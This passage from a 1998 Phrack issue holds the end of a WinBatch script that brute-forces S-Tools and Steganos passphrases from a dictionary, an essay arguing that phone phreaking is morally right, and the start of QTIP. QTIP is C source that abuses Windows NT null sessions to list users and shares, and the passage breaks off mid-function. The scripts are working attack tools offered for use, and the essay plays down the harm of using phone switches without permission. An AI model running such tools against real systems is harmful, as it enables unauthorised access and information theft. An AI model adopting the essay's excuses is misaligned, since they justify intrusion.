;; DOS-style 8.3 or short dir/filenames. If you have problems, finding/using
|
||
;; LFN files, you may want to manually convert them to a SFN dir/file structure.
|
||
;; 4) The S-Tools test requires certain mouse-only operations. During this part of
|
||
;; the program, it's best to leave your machine alone. Otherwise the mouse will
|
||
;; be all over the place. Sorry.
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:main ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
|
||
|
||
Intcontrol(12,4,0,0,0) ;;controls abrupt endings
|
||
|
||
if (winmetrics(-4) < 4 )
|
||
error="This program runs on Windows NT or Windows '95 only!"
|
||
gosub bail_error
|
||
EndIf
|
||
|
||
cr=Num2Char(13)
|
||
lf=Num2Char(10)
|
||
crlf=StrCat(cr, lf)
|
||
progname="Steganography Brute"
|
||
STEGANOS=0 ;; Flag for Steganos
|
||
STOOLS=0 ;; Flag for S-Tools
|
||
|
||
|
||
|
||
text1='This program brute forces Steganography programs.'
|
||
text2='Including S-Tools v4.0 and Steganos. Do you wish'
|
||
text3='to continue?'
|
||
;q = AskYesNo('%progname%',"%text1% %crlf% %text2% %crlf% %text3%")
|
||
If (AskYesNo('%progname%',"%text1% %crlf% %text2% %crlf% %text3%") == @NO) Then Exit
|
||
|
||
text1="It is easiest to make all file settings through the"
|
||
text2="S_BRUTE.INI file in this directory. If you do not use"
|
||
text3="this file, you will be manually prompted for the files."
|
||
Text4="Do you wish to use the INI file?"
|
||
q= AskYesNo("%progname%"," %text1% %crlf% %text2% %crlf% %text3% %crlf% %text4%")
|
||
|
||
if (q == @NO) Then gosub prompt_for_files
|
||
else gosub set_files
|
||
|
||
|
||
if (STEGANOS)
|
||
gosub steganos
|
||
else
|
||
if (STOOLS) then gosub stools
|
||
EndIf
|
||
|
||
error="Passphrase not found!"
|
||
gosub bail_error
|
||
|
||
Exit
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:steganos ;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
Run("%exepath%", "%stegofile%")
|
||
WinWaitExist("",10) ;;; Steganos' first window has no title.
|
||
;;; If you have problems,
|
||
SendKeysTo("","{ENTER}") ;;; comment out these two lines...
|
||
;TimeDelay(10) ;;; and uncomment...
|
||
;SendKey("{ENTER}") ;;; these two lines.
|
||
|
||
|
||
WinWaitExist("Steganos for Windows 95",30)
|
||
SendKeysTo("Steganos for Windows 95","{ENTER}")
|
||
|
||
dictgrip=FileOpen("%dict%","READ")
|
||
fn1="c:\output.txt"
|
||
handleout=FileOpen("%fn1%","Append")
|
||
stitle="Steganos for Windows 95"
|
||
START_TIME=TimeYmdHms()
|
||
word=0
|
||
|
||
while (word != "*EOF*")
|
||
word = FileRead(dictgrip)
|
||
if word =="" then continue
|
||
if word =="*EOF*" then break
|
||
ClipPut("%word%")
|
||
SendKeysTo(stitle,"^v{ENTER}")
|
||
TimeDelay(STEGANOSDELAY)
|
||
test=strsub(MsgTextGet(stitle),1,22)
|
||
if test==""
|
||
text1="I think we have a match!"
|
||
text2="Due to the speed of the brute force attack, check c:\output.txt"
|
||
text3="to see the last few words used, but I think the passphrase is:"
|
||
text4="%word%"
|
||
success="%text1% %crlf%%text2% %crlf%%text3% %crlf%%text4%"
|
||
gosub bail_success
|
||
else
|
||
if test=="This password is wrong"
|
||
SendKeysTo(stitle,"{ENTER}")
|
||
SendKeysTo(stitle,"!B{ENTER}")
|
||
FileWrite(handleout,"%word%" )
|
||
endif
|
||
endif
|
||
endwhile
|
||
STOP_TIME=TimeYmdHms()
|
||
|
||
FileClose(dictgrip)
|
||
FileClose(handleout)
|
||
|
||
Return
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:stools ;;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
Run("%exepath%", "%stegofile%")
|
||
if (WinWaitExist("Welcome to S-Tools",5) == @TRUE)
|
||
SendKeysTo("Welcome to S-Tools","!C")
|
||
EndIf
|
||
|
||
winplace(0,0,400,400,"~S-Tools")
|
||
WinWaitClose("Please Wait")
|
||
SendMenusTo("~S-Tools", "Window Tile Horizontally")
|
||
|
||
text1="S-Tools requires certain mouse-only operations."
|
||
text2='After clicking OK, position the mouse within your'
|
||
text3="image in the S-Tools window and click the left button."
|
||
|
||
message("Setup mouse for S-Tools","%text1% %crlf% %text2% %crlf% %text3%")
|
||
|
||
while (mouseinfo(4)!="4")
|
||
magic=mouseinfo(2)
|
||
endwhile
|
||
|
||
magicx=( ItemExtract(1,magic," ") )
|
||
magicy=( ItemExtract(2,magic," ") )
|
||
|
||
|
||
dictgrip=FileOpen("%dict%","READ")
|
||
fn1="c:\output.txt"
|
||
handleout=FileOpen("%fn1%","Append")
|
||
|
||
START_TIME=TimeYmdHms()
|
||
word=0
|
||
while (word != "*EOF*")
|
||
word = FileRead(dictgrip)
|
||
if word =="" then continue
|
||
ClipPut("%word%")
|
||
|
||
;;; write to the output file
|
||
if word!="*EOF*"
|
||
if (FileWrite(handleout,"%word%" ) >0)
|
||
error="Unable to open file %fn1%."
|
||
gosub bail_error
|
||
EndIf
|
||
Endif
|
||
|
||
for dumnum=1 to 4 ;; for all the algorithms
|
||
|
||
MouseMove(magicx, magicy, "","")
|
||
MouseClick(@RCLICK, 0)
|
||
SendKeysTo("~S-Tools","r")
|
||
SendKeysTo("~Revealing","!P^v!V^v!E")
|
||
|
||
if (dumnum==1) then SendKeysTo("~Revealing","I") ;; IDEA
|
||
if (dumnum==2) then SendKeysTo("~Revealing","D") ;; DES
|
||
if (dumnum==3) then SendKeysTo("~Revealing","T") ;; DES3
|
||
if (dumnum==4) then SendKeysTo("~Revealing","M") ;; MDC
|
||
SendKeysTo("~Revealing","{ENTER}")
|
||
;childlist=WinItemChild("~S-Tools")
|
||
numchilds= ItemCount(WinItemChild("~S-Tools"), @TAB)
|
||
|
||
if (numchilds>2)
|
||
text1="We have an extra window in S-Tools! Possible passphrase match."
|
||
text2="Due to the speed of the brute force attack, check c:\output.txt"
|
||
text3="to see the last few words used, but I think the passphrase is:"
|
||
text4="%word%"
|
||
success="%text1% %crlf%%text2% %crlf%%text3% %crlf%%text4%"
|
||
gosub bail_success
|
||
endif
|
||
next
|
||
|
||
endwhile
|
||
|
||
FileClose(dictgrip)
|
||
FileClose(handleout)
|
||
|
||
return
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:set_files ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
fname=IniReadPvt("Main", "exepath", ".\S-TOOLS.EXE", ".\S_BRUTE.INI")
|
||
gosub path_clean
|
||
exepath=fname
|
||
|
||
gosub determine_tool_type
|
||
|
||
fname=IniReadPvt("Main", "dict", ".\DICT.TXT", ".\S_BRUTE.INI")
|
||
gosub path_clean
|
||
dict=fname
|
||
|
||
fname=IniReadPvt("Main", "stegofile", ".\STEGO.GIF", ".\S_BRUTE.INI")
|
||
gosub path_clean
|
||
stegofile=fname
|
||
|
||
STEGANOSDELAY=IniReadPvt("Main","STEGANOSDELAY","0",".\S_BRUTE.INI")
|
||
|
||
gifname= ItemExtract( (ItemCount("%stegofile%", "\")), "%stegofile%", "\")
|
||
|
||
Return
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:prompt_for_files ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
msg = "Enter the Steganos error delay 0-60"
|
||
STEGANOSDELAY=AskLine("%progname%", msg ,"0")
|
||
|
||
types="Dictionary Text Files|*.txt|All Files|*.*|"
|
||
dict=AskFileName("Select Dictionary Filename", "C:\", types, "dict.txt", 1)
|
||
dict=FileNameShort(dict)
|
||
|
||
types="Steganography tool Executable|*.exe|"
|
||
msg="Where is the S-Tools or Steganos executable?"
|
||
exepath=AskFileName(msg, "C:\", types, "", 1)
|
||
exepath=FileNameShort(exepath)
|
||
|
||
gosub determine_tool_type
|
||
|
||
if (STEGANOS)
|
||
types="Stego File (with hidden message)|*.bmp;*.dib;*.voc;*.wav;*.txt;*.html|"
|
||
else
|
||
types="Stego File (with hidden message)|*.gif;*.bmp;*.wav|"
|
||
endif
|
||
|
||
text1="Select Stego Filename (containing hidden message)"
|
||
stegofile=AskFileName("%text1%", "C:\", types, "", 1)
|
||
stegofile=FileNameShort(stegofile)
|
||
gifname= ItemExtract( (ItemCount("%stegofile%", "\")), "%stegofile%", "\")
|
||
Return
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:path_clean ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
switch FileExist(fname)
|
||
case 0
|
||
error="File %fname% not found!"
|
||
gosub bail_error
|
||
break
|
||
case (2)
|
||
error="File %fname% in use!"
|
||
gosub bail_error
|
||
break
|
||
endswitch
|
||
fname=FileNameShort(fname)
|
||
Return
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:determine_tool_type ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
exename=(StrUpper(ItemExtract( (ItemCount("%exepath%", "\")), "%exepath%", "\")))
|
||
|
||
if (exename == "S-TOOLS.EXE") then STOOLS=1
|
||
else if (exename == "STEGANOS.EXE") then STEGANOS=1
|
||
Return
|
||
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:bail_error ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
STOP_TIME=TimeYmdHms()
|
||
Message("%progname% Error!","%error%")
|
||
SECONDS=TimeDiffSecs(STOP_TIME,START_TIME)
|
||
Message("%progname%","Finished in %SECONDS% seconds.")
|
||
Exit
|
||
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
:bail_success ;;
|
||
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||
STOP_TIME=TimeYmdHms()
|
||
Message("%progname% Success!!!","%success%")
|
||
Message("%progname%","Time Started: %START_TIME%%crlf%Time Finished: %STOP_TIME%")
|
||
Exit
|
||
|
||
<-->
|
||
<++> sbrute/S_BRUTE.INI
|
||
[Main]
|
||
|
||
EXEPATH="C:\Program Files\Deus Ex Machina\Steganos\Steganos.exe"
|
||
DICT="C:\win\desktop\dict.txt"
|
||
STEGOFILE="C:\win\desktop\steclouds.bmp"
|
||
;STEGOFILE="C:\win\desktop\s-tclouds.gif"
|
||
STEGANOSDELAY=0 ;; Set this higher for false positives.
|
||
;; (Steganos does not use different names for its
|
||
;; windows, so this program makes negative result
|
||
;; checks (ie bad passwords) based on an error dialog.
|
||
;; This timeout controls how many seconds to wait for
|
||
;; an error. Default=0
|
||
|
||
<-->
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 09 of 20
|
||
|
||
|
||
-------------------------[ On the Morality of Phreaking
|
||
|
||
|
||
--------[ Phrack Staff
|
||
|
||
|
||
|
||
The issue of phone phreaking is an interesting topic for
|
||
discussion concerning morality. For those not familiar with this
|
||
topic, I will give a brief outline of the subject. Following the
|
||
outline of phreaking, I will analyze the issue of whether
|
||
phreaking as defined in the outline is a morally right act, from
|
||
the perspective of John Stuart Mill and Immanuel Kant. Finally,
|
||
I will address the fallacies of each of the arguments they might
|
||
present concerning the topic and provide a determination of which
|
||
stands as the superior argument for this subject.
|
||
|
||
The meaning of phone phreaking has changed over the years;
|
||
its initial growth can be traced in a large part to a magazine
|
||
named TAP (Technical Assistance Program) started by Abbie Hoffman
|
||
in 1971 as part of his Youth International Party (YIPL) (Meinel,
|
||
5). The intent at this point in time was to utilize technology
|
||
in order to subvert government and big business institutions. As
|
||
time progressed, phreaking became less politically motivated and
|
||
instead was led more by technology enthusiasts interested in
|
||
learning about the phone systems and how they worked. In 1984,
|
||
2600 magazine was formed by Eric Corley in order to further this
|
||
spread of knowledge (Corley).
|
||
|
||
The definition of phone phreaking I will use for the
|
||
purposes of this paper is that which the prominent members of the
|
||
hacking/phreaking "scene" would use. In discussing the
|
||
motivations of a phone phreaker, I speak from both personal
|
||
experience and from numerous conversations with individual
|
||
phreakers over a period of years. Phreaking is the pursuit of
|
||
knowledge concerning how phone systems operate. The skills that
|
||
a phreaker learns in this pursuit of knowledge has the effect
|
||
that they can often gain control of a phone switch in order to
|
||
make add additional phone lines, modify billing information, and
|
||
other such activities, but these are generally considered
|
||
unrelated to that which an actual phreaker is interested in, and
|
||
I will focus only on the activities of those true phreakers that
|
||
are motivated by the desire for knowledge and not for other
|
||
gains. Generally however, phreaking does involve utilizing the
|
||
resources of a phone company switch without the permission of the
|
||
company owning it, in order to both explore its capabilities and
|
||
to communicate with other phreakers in order to share knowledge.
|
||
|
||
John Mill, given his views of morality as found in
|
||
Utilitarianism, would find that phone phreaking is a morally
|
||
right act. In order to find that an act is morally right, it
|
||
should have a net benefit in terms of the happiness it adds to
|
||
the world versus the opposite of happiness it causes (Mill, 7).
|
||
To show that phreaking is morally right, first it must be shown
|
||
that it does have a positive effect on the general happiness in
|
||
the world, and then proceed to show that any negative effects
|
||
that phreaking may have are sufficiently minor so as to be
|
||
outweighed by the positive effects. If the positive effects are
|
||
greater than the negative effects, then clearly the act is
|
||
morally right.
|
||
|
||
First, the actual benefit that phreaking has for the
|
||
individuals involved in it is not directly the pursuit of
|
||
happiness, but rather the pursuit of knowledge. Since morality
|
||
is determined by happiness, not knowledge, how knowledge relates
|
||
to happiness needs to be resolved. The reason this pursuit still
|
||
relates to morality is that individuals that are pursuing
|
||
knowledge for no motivation other than itself are doing so
|
||
because the gain of knowledge has become a part of those
|
||
individuals' happiness. It is in the same way that Mill argues
|
||
the pursuit of virtue can be reconciled with the pursuit of
|
||
happiness that knowledge can also be reconciled (Mill, 35-37).
|
||
|
||
Phreaking does have a benefit to the individuals that are
|
||
involved in its practice. This benefit is in the form of a gain
|
||
of knowledge concerning the phone systems. This knowledge is
|
||
gained in generally one of two ways, both of which are common
|
||
methods of learning and the reader will recognize. The first is
|
||
through experimentation and exploration. By accessing the phone
|
||
switch, phreakers are able to experiment with its capabilities
|
||
and teach themselves how to operate it. In the second case, the
|
||
phone switches that phreakers have learned to use are utilized as
|
||
a method of communication with other phreakers. The free
|
||
communication that comes about as a result of the phone system
|
||
knowledge that has been gained allows phreakers to exchange new
|
||
information and teach each other, either as peers or through a
|
||
teacher-pupil relationship, even more about the phone system. In
|
||
both cases, knowledge is gained, and as knowledge is a part of a
|
||
phreaker's happiness, the general happiness of the world is
|
||
increased.
|
||
|
||
Any negative impact phreaking has is minimal, and indirect.
|
||
The resources that are being used are possessed by phone
|
||
companies, corporations. A corporation of itself is not a moral
|
||
being, but a corporation has an effect on three different types
|
||
of people: stock holders, employees, and consumers.
|
||
|
||
A stock holder's interest in a corporation is purely on the
|
||
profits that it produces. Stockholders could be negatively
|
||
effected by phreakers if a phreaker causes a loss of revenue, or
|
||
an increase in costs. A loss in revenue for a phone company can
|
||
only occur if the phreaker uses some resource that if not in use
|
||
would otherwise be used by a paying customer, or if the phreaker
|
||
herself would have paid for the resource utilization if it had
|
||
not been attainable for free. In the first case, phone systems
|
||
use a technique called multiplexing to handle simultaneous phone
|
||
calls between switches. If a phone system is below capacity,
|
||
there are empty time slices or frequencies (depending on type of
|
||
trunk) in the data that is transmitted between switches. Adding
|
||
a new connection between switches involves only filling one of
|
||
these idle slots, with no degradation of quality for existing
|
||
phone calls, and no marginal cost associated with the additional
|
||
call. It is only in the case where a phone system is filled to
|
||
capacity that a phreaker using a slot would prevent an existing
|
||
customer from using the phone system, resulting in a loss of
|
||
revenue. In fact, phreakers being more cognizant of this fact
|
||
that the general public will purposely explore the phone system
|
||
when it is at its lowest capacity times (late at night and on
|
||
weekends) just to avoid this situation.
|
||
|
||
The second part of the stock holders interests is that a
|
||
phreaker would potentially pay for the phone calls she is making
|
||
for free. An attraction of phreaking is that it does not cost
|
||
money to involve ones self in, and most phreakers first start in
|
||
their youth when they do not have access to being able to pay for
|
||
phone calls to other phreakers, or even more to the point there
|
||
is no price they could pay to gain access to a switch. If the
|
||
phone company were to make this available at a price to
|
||
phreakers, almost universally they would not be able to afford
|
||
the price, and would have to stop their gains in knowledge in
|
||
that subject. This would not result in any additional revenue
|
||
for the phone company, only a loss of knowledge that the phreaker
|
||
could have otherwise gained.
|
||
|
||
Employees are only impacted if they are either aware of
|
||
something occurring, or have to perform some activity as a result
|
||
of a phreaker's activities. However, a phreaker only interacts
|
||
with the phone company's equipment in an under utilized state,
|
||
and not with employees. Further, phreakers do not cause damage
|
||
or interfere with the operation of the phone company's equipment,
|
||
and so require no employee intervention. In this manner, no
|
||
employees are affected by phreakers.
|
||
|
||
Finally, consumers are also not negatively impacted by
|
||
phreakers. A phreaker's interactions with switches does not
|
||
cause any disruptions in service or prevent consumers from using
|
||
the same switches simultaneously. Further, there is no
|
||
interaction that takes place with consumers as a result of a
|
||
phreaker's activities, and so they are never impacted in any
|
||
manner.
|
||
|
||
It is possible there can be a negative impact as a result of
|
||
the perception of phreakers and based on people with different
|
||
moral viewpoints than the utilitarian view. Some people are
|
||
scared by a phreaker's knowledge, and some people are intent on
|
||
protecting their resources even from those with moral pursuits.
|
||
These people may become agitated as a result of a phreaker's
|
||
activities, and although they have no utilitarian reason to be,
|
||
their agitation should still be considered. However, weighing
|
||
the moral righteousness of the knowledge being gained, an
|
||
agitation seems to be greatly outweighed. Based on these
|
||
criteria, it is clear from the utilitarian viewpoint phreaking is
|
||
overall beneficial and is morally right.
|
||
|
||
In contrast to the views of Mill, Immanuel Kant would not
|
||
find phreaking to be a moral act. In order to find an act moral
|
||
from a Kantian perspective, it must be in accord with duty (Kant,
|
||
9), universalized (Kant, 14), and then tested for a contradiction
|
||
in thought (Kant, 32) or a contradiction in will (Kant, 32). If
|
||
an action does not succeed in passing these tests, it can not be
|
||
a moral act.
|
||
|
||
The goal of phreaking, the pursuit of knowledge, is in
|
||
accordance with duty. An individual has an inclination towards
|
||
improving himself, gaining knowledge being one way of doing so,
|
||
so this would be an imperfect duty to self (Kant, 31).
|
||
|
||
There are several possible manners in which the act of
|
||
phreaking could be universalized. One could say "all people
|
||
should use the phone system without paying in order to pursue
|
||
knowledge." This is not a contradiction in thought, a phone
|
||
system that allowed anyone pursuing knowledge to use it free of
|
||
charge could exist and persist. However, there would be two
|
||
major results of having this sort of system. First, the loss in
|
||
revenue from large numbers of people no longer paying would
|
||
result in those communicating when not pursuing knowledge
|
||
subsidizing those that were. Second, a free phone system would
|
||
have an enormous increase in usage, causing it to reach its
|
||
capacity quickly and preventing it from being available to those
|
||
who needed to use it. Nobody wants to have to spend hours
|
||
attempting to make a phone call in order to get through, and so a
|
||
system of this type is a contradiction in will for most people,
|
||
and would thus not be moral.
|
||
|
||
A preferred universalization of phreaking would be "all
|
||
people interested in gaining knowledge should be able to freely
|
||
use unutilized corporate resources in order to do so." The goal
|
||
of a corporation is to maximize profits. If a corporation has
|
||
under utilized resources with a value, it is in the company's
|
||
interest to produce additional revenue based on those resources.
|
||
If a company does not have under utilized resources, it does not
|
||
apply to this universalization. The final case is if a company
|
||
has under utilized resources, but the resources have no value.
|
||
If they have no value, of what use would the resource be to a
|
||
person interested in gaining knowledge (i.e. if it was useful to
|
||
someone, it would have value). So it is a contradiction of
|
||
thought for a company to have an under utilized resource of value
|
||
for an extended period of time; if those seeking knowledge are
|
||
able to recognize an under utilized resource with value, then the
|
||
company would quickly realize that resource does have value, and
|
||
utilize its value for profit or else sell the resource off.
|
||
|
||
Because there is no manner in which phreaking can be
|
||
universalized so as to preserve its intent and not provide a
|
||
contradiction of thought or will, it can not be a moral act in
|
||
accordance with the views of Kant.
|
||
|
||
In analyzing which of Mill or Kant has a more solid
|
||
argument, it becomes clear that neither philosophy is ideal for
|
||
all situations. Both the utilitarian and Kantian viewpoints have
|
||
disadvantages that are addressed below, however as a whole the
|
||
Mill utilitarian view of phreaking provides a more rational view
|
||
that is applicable to those who are phreakers.
|
||
|
||
First, the utilitarian viewpoints of Mill only considers the
|
||
individual act in the context of the current state of the world
|
||
in deciding if it is moral That is, a single act may in all
|
||
cases contribute to the general happiness of the world, but it
|
||
may also leave the world changed in some other respect that does
|
||
not add to or take away from the general happiness. However, the
|
||
change that has taken place may very will have an impact on how
|
||
that same act or a completely unrelated act would impact the
|
||
world so as to make what was once moral now immoral. Although
|
||
the potential for alternative moral acts remain in that world,
|
||
and so you have not reduced its potential for happiness, what it
|
||
has done is impacted the available choices of others in how they
|
||
can go about acting in a moral manner. This is not a concern of
|
||
Mill, but of those interested in freedom, as an end to itself,
|
||
actions promoting the general happiness may adversely affect the
|
||
freedom of others to act in a moral manner.
|
||
|
||
The view Kant gives of morality provides that if an act can
|
||
not be universally applied, it can not be morally right. In the
|
||
case of phreaking, is it possible that it is at some point for
|
||
some people a morally right act to phreak, but not for all people
|
||
at all times? The basis for this argument is that there are some
|
||
people who are both honestly extremely interested in the phone
|
||
systems and do not have the resources to explore their interest
|
||
in any reasonable fashion for some period of time. The typical
|
||
case is with a phreaker is a young adolescent that has become
|
||
intrigued with phones. I would contend that for one that is
|
||
truly interested in learning and has no alternative means, that
|
||
it is morally right for that person to phreak.
|
||
|
||
However, as that person grows older and gains access to
|
||
resources, alternative means become available for him to continue
|
||
to learn about the phone systems (money buys resources, a job at
|
||
the phone company provides an immense opportunity to learn). At
|
||
the point where alternative means are available, it is no longer
|
||
moral for that person to phreak. Where exactly that point occurs
|
||
is a blurred line, but it is certainly not a universal law as
|
||
Kant would imply.
|
||
|
||
In summary, the subject of phreaking is certainly a
|
||
controversial subject and would be viewed by many as an out of
|
||
hand immoral activity. But, at closer examination it is actually
|
||
something that is done for very moral reasons and although the
|
||
morality of a phreaker may not necessarily correspond to the
|
||
morality of all others in society, it is certainly in the mind of
|
||
the true phreaker a moral activity in which they are engaging,
|
||
with intelligent rational premises backing up their moral views.
|
||
Although Kant may not agree with the moral views that are held by
|
||
the phreaker, the individual circumstances confronted by the
|
||
individual are not considered and if morality can be decided on
|
||
an individual basis, as Mill allows, then it may just be that the
|
||
Kantian view may be too restricting to account for contemporary
|
||
issues faced in today's technological society.
|
||
|
||
|
||
----[ EOF
|
||
|
||
---[ Phrack Magazine Volume 8, Issue 52 January 26, 1998, article 10 of 20
|
||
|
||
|
||
-------------------------[ a Quick nT Interrogation Probe (QTIP)
|
||
|
||
|
||
--------[ twitch <twitch@aye.net>
|
||
|
||
|
||
----[ INTRODUCTION
|
||
|
||
|
||
As you probably already know, certain LanMan derivatives (most notably
|
||
Windows NT) sport a stupid feature known as `null sessions`. Null sessions
|
||
allow server connections to be established without the hassle and rigmarole of
|
||
username or password authentication. This is reportedly to ease
|
||
administrative tasks (UserManager and ilk utilize them). Also, such silliness
|
||
such as the RedButton bug have shown (although in poor form) that an
|
||
interested/malicious third party can gleen quite a bit of info from `Press any
|
||
key to return to index`. Once established, these connections default to having
|
||
permissions to display enumerated user and share lists, get information about
|
||
particular users, wander the registry, etc. QTIP takes advantage of this,
|
||
allowing the user to procure far too much information about the target
|
||
machine. It employs no black magic or hidden technique to do this. QTIP
|
||
works via straight API calls.
|
||
|
||
As of service pack 3 for NT 4.0, it is possible for the `informed` system
|
||
administrator to block null sessions through the registry, effectively
|
||
nullifying any threat from QTIP. I do not, however, believe that there is
|
||
such a patch for 3.5.1 machines. Also, it has not been tested against SAMBA
|
||
servers, and as far as the author knows, SAMBA does not support something as
|
||
asinine as null sessions (anyone who knows any differently is invited to mail
|
||
corrections to the author, or directly to Phrack Magazine).
|
||
|
||
To prevent these sorts of shenanigans from happening remotely across the
|
||
Internet, the concerned system administrator can block NBT traffic at the
|
||
gateway (this sort of traffic should not be allowed to/from the Internet as
|
||
standard fare). If you are running NT 4.0, install the service packs, and set
|
||
the appropriate registry values to disable the attack. Or use OpenBSD.
|
||
|
||
|
||
----[ THE CODE
|
||
|
||
|
||
QTIP has a few options. qtip -h supplies the following info:
|
||
|
||
usage qtip[asug<username>hv] <target>
|
||
-s: get share list
|
||
-u: get user list
|
||
-g <username>: get infos about <username>
|
||
-d: leave connection established on exit
|
||
-a: -s + -u
|
||
-h, -?: display this help
|
||
-v: be verbose (use twice to be garrulous)
|
||
|
||
Seems rather self explanatory. If the verbose flag is set, then -u
|
||
implies a recursive -g. -d is handy if you plan to take a look at the
|
||
registry as well (there's gold in them thar hills). Omission of all flags just
|
||
establishes a null session and exits. <target> can be a fully-qualified
|
||
domain name, ip address, or UNC format. The code compiles like a dream under
|
||
visual c 4.1. There is no makefile included, just link the code against
|
||
kernel32.lib, libc.lib and wsock32.lib. This program is most useful wrapped
|
||
in scripts with something like tping(ip sweeper), and maybe a few registry
|
||
inquisition perl scripts. Feel free to redistribute, just give props where
|
||
props are due, and please let me know if you make any interesting changes.
|
||
|
||
<++> qtip/qtip.h
|
||
/*
|
||
* qtip.h
|
||
* 12/04/1997
|
||
* twitch
|
||
* twitch@aye.net
|
||
*
|
||
* a quick nt investigative probe. (mis)uses null sessions to collect
|
||
* sundry information about a WindowsNT server. distribute as you
|
||
* please. be alert, look alive, and act like you kow.
|
||
*
|
||
* '...i should dismiss him, in order to teach him that pleasure consists
|
||
* not in what i enjoy, but in having my own way.'
|
||
* -sk, either/or
|
||
*/
|
||
|
||
#include <stdio.h>
|
||
#include <windows.h>
|
||
#include <winsock.h>
|
||
#include "lm.h"
|
||
|
||
#define k16 16384
|
||
#define TARG_LEN 255
|
||
#define USER_LEN 22
|
||
|
||
void handle_error(DWORD);
|
||
void prepend_str(char *, char*);
|
||
int open_session();
|
||
int procure_userlist();
|
||
int procure_sharelist();
|
||
void parse_cl(int, char **);
|
||
void usage(char *);
|
||
int powerup(int, char **);
|
||
void bail(const char *);
|
||
int close_session();
|
||
void get_usr_info(wchar_t *);
|
||
|
||
/* couple o globals to make my life easier */
|
||
u_int OPT_SHARES, OPT_USERS, OPT_GETUI;
|
||
u_int OPT_NODEL, VERB;
|
||
char target[TARG_LEN];
|
||
WCHAR utarg[TARG_LEN];
|
||
WCHAR user[USER_LEN];
|
||
NETRESOURCE nr;
|
||
|
||
<-->
|
||
<++> qtip/qtip.c
|
||
|
||
/*
|
||
* qtip.c
|
||
* 10/04/1997
|
||
* twitch
|
||
* twitch@aye.net
|
||
*
|
||
* a quick nt investigative probe
|
||
* link against kernel32.lib, libc.lib and wsock32.lib.
|
||
* qtip -h for usage. distribute as you please.
|
||
*
|
||
*/
|
||
|
||
#include "qtip.h"
|
||
|
||
int main(int argc, char *argv[])
|
||
{
|
||
if( (powerup(argc, argv)) )
|
||
return(1);
|
||
|
||
if( (open_session()) != 0)
|
||
return(1);
|
||
|
||
if(OPT_SHARES)
|
||
procure_sharelist();
|
||
|
||
if(OPT_USERS)
|
||
procure_userlist();
|
||
|
||
if(OPT_GETUI)
|
||
get_usr_info(utarg);
|
||
|
||
close_session();
|
||
return(0);
|
||
}
|
||
|
||
int open_session()
|
||
{
|
||
DWORD r;
|
||
|
||
nr.dwType = RESOURCETYPE_ANY;
|
||
nr.lpLocalName = NULL;
|
||
nr.lpProvider = NULL;
|
||
nr.lpRemoteName = target;
|
||
|
||
if(VERB)
|
||
printf("establishing null session with %s...\n", target);
|
||
|
||
r = WNetAddConnection2(&nr, "", "", 0);
|
||
if(r != NO_ERROR){
|
||
handle_error(r);
|
||
return -1;
|
||
}
|
||
|
||
if(VERB)
|
||
printf("connection established\n");
|
||
|
||
return 0;
|
||
}
|
||
|
||
/*
|
||
* procure_userlist()
|
||
* just use the old lm NetUserEnum() because there isnt comparable
|
||
* functionality in the WNet sect. i just wish the win32 api was
|
||
* more bloated and obtuse.
|
||
*/
|
||
int procure_userlist()
|
||
{
|
||
NET_API_STATUS nas;
|
||
LPBYTE *buf = NULL;
|
||
DWORD entread, totent, rhand;
|
||
DWORD maxlen = 0xffffffff;
|
||
USER_INFO_0 *usrs;
|
||
unsigned int i;
|
||
int cc = 0;
|
||
|
||
entread = totent = rhand = nas = 0;
|
||
if( (buf = (LPBYTE*)malloc(k16)) == NULL)
|
||
bail("malloc probs\n");
|
||
|
||
if(VERB)
|
||
wprintf(L"\ngetting userlist from %s...\n", utarg);
|
||
|
||
nas = NetUserEnum(utarg, 0, 0, buf, maxlen, &entread, &totent, &rhand);
|
||
if(nas != NERR_Success){
|
||
fprintf(stderr, "couldnt enum users, ");
|
||
handle_error(nas);
|
||
goto cleanup;
|
||
}
|
||
|
||
cc = sizeof(USER_INFO_0) * entread;
|
||
if( (usrs = (USER_INFO_0 *)malloc(cc)) == NULL){
|
||
fprintf(stderr, "malloc probs\n");
|
||
goto cleanup;
|
||
}
|
||
|
||
memcpy(usrs, *buf, cc);
|
||
for(i = 0; i < entread; i++){
|
||
wcscpy(user, usrs[i].usri0_name);
|
||
wprintf(L"%s\n", user);
|
||
if(VERB)
|
||
get_usr_info(utarg);
|
||
}
|
||
|
||
cleanup:
|
||
if(buf)
|
||
free(buf);
|
||
|
||
return 0;
|
||
}
|
||
|
||
/*
|
||
* get_user_info()
|
||
* attempt to gather some interesting facts about
|
||
* a user
|
||
*/
|
||
void get_usr_info(LPWSTR utarg)
|
||
{
|
||
NET_API_STATUS nas;
|
||
USER_INFO_1 usrinfos;
|
||
LPBYTE *buf = NULL;
|
||
|
||
if( !(buf = (LPBYTE *)malloc(sizeof(USER_INFO_1))) )
|
||
bail("malloc probs\n");
|
||
|
||
nas = NetUserGetInfo(utarg, user, 1, buf);
|
||
|
||
if(nas){
|
||
fwprintf(stderr, L"couldnt get user info for for %s, ", user);
